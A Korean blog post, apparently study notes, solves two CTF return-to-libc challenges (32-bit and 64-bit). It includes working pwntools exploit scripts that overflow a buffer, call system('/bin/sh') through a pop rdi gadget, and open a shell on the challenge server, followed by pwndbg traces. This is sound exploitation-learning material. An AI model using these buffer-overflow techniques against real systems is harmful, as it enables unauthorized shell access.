Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux

2021. 7. 19. 01:58Layer7/Pwnable

728x90

- RTL 32bit 풀이

 

이 문제에서는 아래와 같이 rtl32_1이라는 실행파일이 주어집니다.

문제에서 주어진 파일
main() 함수를 IDA로 디컴파일

memset() 함수로 buf를 정리해주고, printf()로 "Input me : "라는 문자열을 출력해줍니다.

다음 줄에서 read() 함수로 0x58(10진수로 88)만큼 buf를 입력받습니다.

그런데 위에서 선언된 buf를 보면 크기가 0x48(10진수로 72)이므로, 이 부분에서 BOF가 일어난다는걸 알 수 있습니다.

 

payload를 구상해보면 'a'를 buf 크기(0x48)만큼 + sfp 4 + system + dummy 4 + /bin/sh 정도로 구성 될 것 같습니다.

 

system과 /bin/sh를 어떻게 실행시켜야할까....하고 고민하다가 IDA로 파일 안에 있는 모든 문자열을 열어보았습니다.

 

Shift+F12로 연 strings window 창

/bin/sh는 .data 영역에서 전역변수의 형태로 존재하고 있었습니다.

저기 쓰여있는 주소값을 가져와서 사용하도록 하겠습니다.

 

그럼 이제 남은건 system인데, system은 그냥 ELF를 사용해서 PLT을 가져와 사용하도록 하겠습니다.

 

이제 익스코드를 작성하고 실행시켜보겠습니다.

 

 

from pwn import *

context.log_level='debug'

p=remote("sung.pw",11613)

e=ELF('./rtl32_1')

system_plt=e.plt['system']
binsh=0x0804A028

p.recvuntil(": ")

payload='a'*(0x48+4)+p32(system_plt)+'a'*4+p32(binsh)

p.sendline(payload)

p.interactive()

FLAG 획득 완료

 

 

- RTL 32bit 동적 디버깅

 

FLAG를 획득함으로써 위의 익스코드가 맞는 익스코드라는걸 확인했으니 이제 프로그램이 어떻게 동작하는지를 알아보기 위해서 Pwndbg로 read() 함수 부분을 동적 디버깅 해보겠습니다.

 

from pwn import *

#p=remote("sung.pw",11613)
p=process("./rtl32_1")

e=ELF('./rtl32_1')

system_plt=e.plt['system']
binsh=0x0804A028

#pause!
gdb.attach(p)
pause()

p.recvuntil(": ")

payload='a'*(0x48+4)+p32(system_plt)+'a'*4+p32(binsh)

p.sendline(payload)

p.interactive()

pid 확인

우선 익스코드에 디버깅을 위한 기본 세팅을 해줍니다.

그리고 익스코드 파일을 실행시키면 오른쪽에 pid ~라며 pid가 뜨는걸 볼 수 있습니다.

+) 여기서 pid란 프로세스 식별 번호입니다.

 

수동으로 attach() 함수를 실행시킨다면 저 pid가 필요하겠지만, 저는 코드에 미리 gdb.attach(p)를 넣어놨기 때문에 자동적으로 gdb가 열려있는 터미널 창이 뜨면서 동적 디버깅이 가능해집니다.

 

자동적으로 뜬 gdb 터미널

새롭게 뜬 gdb 터미널에서는 자신이 원하는 곳에 break point를 걸어주면 됩니다.

저는 read() 함수 부분을 자세하게 분석하고싶어서 read() 함수가 종료된 직후 부분에 break point를 걸었습니다.

그리고 c를 입력하면 Continuing이라고 출력됩니다.

 

이 상태에서 아까 익스코드를 열었던 터미널로 다시 돌아가 아무 키를 눌러서 pause를 풀어줍니다.

 

pause가 풀린 모습

이제 본격적으로 동적 디버깅을 시작해보겠습니다!

 

sfp에 채운 값이 EBP로 이동

<main+123> 부분에서 pop ebp로 인해 sfp에 채운 "aaaa"가 EBP로 이동합니다.

그리고 <main+124> 부분을 보면 의도한대로 RET에 <system@plt>가 들어가는걸 볼 수 있습니다.

그렇게 되면 system() 함수가 실행될텐데, 여기서 스택 부분을 유심히 보겠습니다.

 

esp 줄에서 두 칸 내려가보면 어떤 주소가 보이는데 이 주소는 /bin/sh의 주소라고 적혀있습니다.

여기에 /bin/sh의 주소가 있다?

return 할 때 system이 이 주소를 포함한채로 실행 된다는 소리입니다.

 

여기서 하나 알아야 할 점은, 0x80483b0은 이 프로그램에서 처음으로 system() 함수를 호출한 부분이라는겁니다.

첫 호출 때는 dl_resolve() 함수를 실행해야하므로, 0x80483b0에서 점프하는 글로벌 오프셋 테이플 + 20 부분은 GOT라는 것을 유추 할 수 있습니다.

또한, <system@plt+6>은 dl_resolve() 함수의 위치라는 것을 알 수 있습니다.

 

dl_resolve()

예상이 맞는지 확인을 해봤습니다.

확인을 해보니 정말로 실제 주소를 얻어 그 부분으로 점프하고, system() 함수를 실행시키는걸 볼 수 있었습니다.

 

 

- RTL 64bit 풀이

 

문제에서 주어진 파일
main() 함수를 IDA로 디컴파일

printf로 문자열을 출력하고, 그 뒤에 read() 함수로 0x100(10진수로 256)만큼 buf를 입력받습니다.

여기서 buf 크기는 0x30(10진수로 48)으로, read() 함수에서 BOF가 일어난다는걸 확인 할 수 있습니다.

 

이제 여기서 고민해야 할 부분은 어떻게 payload를 짜냐....입니다.

 

우선 buf 부분에는 'a'를 0x30 + 0x8(sfp) = 0x38(10진수로 56)만큼 넣으면 될 것 같습니다.

 

그 뒷부분은 조금 더 생각을 해봐야 할 것 같은데....문제 제목이 RTL 64bit이니, gadget를 사용할 것 같습니다.

gadget은 간단하게 말하면 바이너리에 있는 pop, ret 같은 어셈블리 코드를 말합니다.

이런 gadget은 ROPgadget이라는 툴로 손쉽게 찾을 수 있습니다.

 

pip install ropgadget 명령어로 툴 설치

그럼 툴도 깔았으니, 이 문제를 해결하기 위해서 필요한 gadget이 무엇일지 생각해보겠습니다.

 

우선 가젯(들)은 ret에 들어갈테니, 우선 이 부분에서 system() 함수를 호출해야 할 것 같습니다.

/bin/sh의 주소도 필요할 것 같네요.

그리고 gadget을 사용할 때는 RDI 레지스터도 써야하니, RDI 관련 gadget도 필요할 것 같습니다.

 

하지만 여기서 마구잡이로 RDI에 /bin/sh를 넣기만 한다고 문제가 풀리지는 않을거에요.

RDI에 값을 넣기 위해서는 rdi pop; ret라는 gadget이 필요합니다.

RDI 레지스터에 /bin/sh를, 추가로 따라오는 ret 부분에 system() 함수의 주소를 넣으면 될 것 같습니다.

 

이제 이 3가지 요소랑 위에서 채운 buf와 sfp를 잘 조합하면 payload는 아래와 같이 됩니다.

payload='a'*0x38 + rdi pop; ret + /bin/sh + system@plt

 

payload 구상도 끝났으니 /bin/sh의 주소와 필요한 가젯만 얻고 익스코드를 짜보겠습니다.

+) 가젯을 얻는 명령어는 [ROPgadget --binary 바이너리명 | grep 찾을 가젯]입니다.

 

Shift+F12 단축키로 찾은 /bin/sh의 주소
ROPgadget으로 찾은 가젯의 주소

from pwn import *

context.log_level='debug'

p=remote("sung.pw",11614)

e=ELF('./rtl64_1')

system_plt=e.plt['system']
binsh=0x0000000000400794
rdi=0x0000000000400773

p.recvuntil("> ")

payload='a'*(0x30+8)+p64(rdi)+p64(binsh)+p64(system_plt)

p.sendline(payload)

p.interactive()

FLAG 획득 완료

 

 

- RTL 64bit 동적 디버깅

 

from pwn import *

#p=remote("sung.pw",11614)
p=process("./rtl64_1")

e=ELF('./rtl64_1')

system_plt=e.plt['system']
binsh=0x0000000000400794
rdi=0x0000000000400773

#pause!
gdb.attach(p)
pause()

p.recvuntil("> ")

payload='a'*(0x30+8)+p64(rdi)+p64(binsh)+p64(system_plt)

p.sendline(payload)

p.interactive()

read() 함수가 끝난 직후에 break point
sfp에 채운 값이 rbp로 이동
rdi pop ; ret 부분

첫 번째 사진을 보면 sfp 길이만큼의 'a'가 RBP로 이동되는 것을 볼 수 있습니다.

 

그리고 두 번째 사진을 보면 <__libc_csu_init+99> 줄에 gadget으로 찾았던 rdi pop ; ret이 있습니다.

rdi pop 부분에는 /bin/sh 주소를 넣는 것에 사용했으니, 그 뒤에 있는 ret에는 system@plt 주소를 넣어줍니다.

 

dl_resolve() 함수

뒤에 있는 부분들은 무슨 역할을 하는지 궁금해서 ni로 한 줄씩 넘기며 스택 부분을 관찰했습니다.

반쯤 영혼이 나간 채로 구경해서 어떻게 작동 하는지는 잘 모르겠습니다.

 

이렇게 dl_resolve() 함수를 지난 후에 system() 함수가 호출됩니다.

 

rtl64의 익스코드를 짜면서 gadget이라는 개념이 익숙치 않으면 64bit 문제는 풀기 어렵겠다는 생각이 들었습니다.

직접 눈으로 보고, 손으로 코드를 짜고, 동적 디버깅을 하는 것도 중요하지만 무엇보다도 개념과 용어가 탄탄하게 잡혀있어야 스스로도 편하고 실력도 빠르게 늘 것 같습니다.

728x90

'Layer7 > Pwnable' 카테고리의 다른 글

FSB 문제 풀이 (2)  (0) 2021.08.03
FSB 문제 풀이 (1)  (0) 2021.08.01
여러가지 ROP 문제 풀이  (0) 2021.08.01
PLT와 GOT  (0) 2021.07.17